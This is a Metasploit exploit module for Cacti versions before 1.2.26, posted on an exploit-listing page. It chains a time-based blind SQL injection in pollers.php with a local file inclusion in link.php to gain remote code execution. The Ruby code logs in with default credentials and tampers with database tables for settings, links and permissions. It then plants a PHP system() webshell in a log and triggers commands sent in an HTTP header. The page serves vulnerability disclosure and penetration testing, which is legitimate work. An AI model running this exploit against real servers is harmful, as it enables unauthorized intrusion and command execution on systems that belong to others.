Cacti pollers.php SQL Injection / Remote Code Execution

2024.02.07
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::SQLi include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck class CactiError < StandardError; end class CactiNotFoundError < CactiError; end class CactiVersionNotFoundError < CactiError; end class CactiNoAccessError < CactiError; end class CactiCsrfNotFoundError < CactiError; end class CactiLoginError < CactiError; end def initialize(info = {}) super( update_info( info, 'Name' => 'Cacti RCE via SQLi in pollers.php', 'Description' => %q{ This exploit module leverages a SQLi (CVE-2023-49085) and a LFI (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to achieve RCE. Authentication is needed and the account must have access to the vulnerable PHP script (`pollers.php`). This is granted by setting the `Sites/Devices/Data` permission in the `General Administration` section. }, 'License' => MSF_LICENSE, 'Author' => [ 'Aleksey Solovev', # Initial research and discovery 'Christophe De La Fuente' # Metasploit module ], 'References' => [ [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE) [ 'CVE', '2023-49085'], # SQLi [ 'CVE', '2023-49084'] # LFI (RCE) ], 'Platform' => ['unix linux win'], 'Privileged' => false, 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Linux Command', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix', 'linux' ] } ], [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Platform' => 'win' } ] ], 'DefaultOptions' => { 'SqliDelay' => 3 }, 'DisclosureDate' => '2023-12-20', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']), OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti']) ] ) end def sqli @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload| sqli_final_payload = '"' sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and') sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\"" send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'pollers.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { '__csrf_magic' => @csrf_token, 'name' => 'Main Poller', 'hostname' => 'localhost', 'timezone' => '', 'notes' => '', 'processes' => '1', 'threads' => '1', 'id' => '2', 'save_component_poller' => '1', 'action' => 'save', 'dbhost' => sqli_final_payload }, 'vars_get' => { 'header' => 'false' } ) end end def get_version(html) # This will return an empty string if there is no match version_str = html.xpath('//div[@class="versionInfo"]').text unless version_str.include?('The Cacti Group') raise CactiNotFoundError, 'The web server is not running Cacti' end unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/) raise CactiVersionNotFoundError, 'Could not detect the version' end Regexp.last_match[:version] end def get_csrf_token(html) html.xpath('//form/input[@name="__csrf_magic"]/@value').text end def do_login if @csrf_token.blank? || @cacti_version.blank? res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) if res.nil? raise CactiNoAccessError, 'Could not access `index.php` - no response' end html = res.get_html_document if @csrf_token.blank? print_status('Getting the CSRF token to login') @csrf_token = get_csrf_token(html) if @csrf_token.empty? # raise an error since without the CSRF token, we cannot login raise CactiCsrfNotFoundError, 'Cannot get the CSRF token' else vprint_good("CSRF token: #{@csrf_token}") end end if @cacti_version.blank? print_status('Getting the version') begin @cacti_version = get_version(html) vprint_good("Version: #{@cacti_version}") rescue CactiError => e # We can still log in without the version print_bad("Could not get the version, the exploit might fail: #{e}") end end end print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { '__csrf_magic' => @csrf_token, 'action' => 'login', 'login_username' => datastore['USERNAME'], 'login_password' => datastore['PASSWORD'] } ) raise CactiNoAccessError, 'Could not login - no response' if res.nil? raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302 print_good('Logged in') end def check # Step 1 - Check if the target is Cacti and get the version print_status('Checking Cacti version') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'keep_cookies' => true ) return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil? html = res.get_html_document begin @cacti_version = get_version(html) version_msg = "The web server is running Cacti version #{@cacti_version}" rescue CactiNotFoundError => e return CheckCode::Safe(e.message) rescue CactiVersionNotFoundError => e return CheckCode::Unknown(e.message) end if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26') print_good(version_msg) else return CheckCode::Safe(version_msg) end # Step 2 - Login @csrf_token = get_csrf_token(html) return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty? begin do_login rescue CactiError => e return CheckCode::Unknown("Login failed: #{e}") end @logged_in = true # Step 3 - Check if the user has enough permissions to reach `pollers.php` print_status('Checking permissions to access `pollers.php`') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'pollers.php'), 'method' => 'GET', 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' } ) return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil? return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401 return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200 # Step 4 - Check if it is vulnerable to SQLi print_status('Attempting SQLi to check if the target is vulnerable') return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable CheckCode::Vulnerable end def get_ext_link_id # Get an unused External Link ID with a time-based SQLi @ext_link_id = rand(1000..9999) loop do _res, elapsed_time = Rex::Stopwatch.elapsed_time do sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}") end break if elapsed_time < datastore['SqliDelay'] @ext_link_id = rand(1000..9999) end vprint_good("Got external link ID #{@ext_link_id}") end def exploit # `#do_login` will take care of populating `@csrf_token` and `@cacti_version` unless @logged_in begin do_login rescue CactiError => e fail_with(Failure::NoAccess, "Login failure: #{e}") end end @log_file_path = "log/cacti#{rand(1..999)}.log" print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table") @log_setting_name_bak = '_path_cactilog' sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'") @do_settings_cleanup = true sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')") register_file_for_cleanup(@log_file_path) print_status("Inserting the log file path `#{@log_file_path}` to the external links table") log_file_path_lfi = "../../#{@log_file_path}" # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79): # $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']); log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25') get_ext_link_id sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')") @do_ext_link_cleanup = true print_status('Getting the user ID and setting permissions (it might take a few minutes)') user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'") fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/) sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})") @do_perms_cleanup = true print_status('Logging in again to apply new settings and permissions') # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again. # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup. cookie_jar_bak = cookie_jar.clone cookie_jar.clear csrf_token_bak = @csrf_token # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token @csrf_token = nil begin do_login rescue CactiError => e fail_with(Failure::NoAccess, "Login failure: #{e}") end print_status('Poisoning the log') header_name = rand_text_alpha(1).upcase sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)") print_status('Triggering the payload') # Expecting no response send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'link.php'), 'method' => 'GET', 'keep_cookies' => true, 'headers' => { header_name => payload.encoded }, 'vars_get' => { 'id' => @ext_link_id, 'headercontent' => 'true' } }, 0) # Restore the cookie_jar and the CSRF token to run cleanup without being blocked cookie_jar.clear self.cookie_jar = cookie_jar_bak @csrf_token = csrf_token_bak end def cleanup super if @do_ext_link_cleanup print_status('Cleaning up external link using SQLi') sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}") end if @do_perms_cleanup print_status('Cleaning up permissions using SQLi') sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}") end if @do_settings_cleanup print_status('Cleaning up the log path in `settings` table using SQLi') sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'") sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top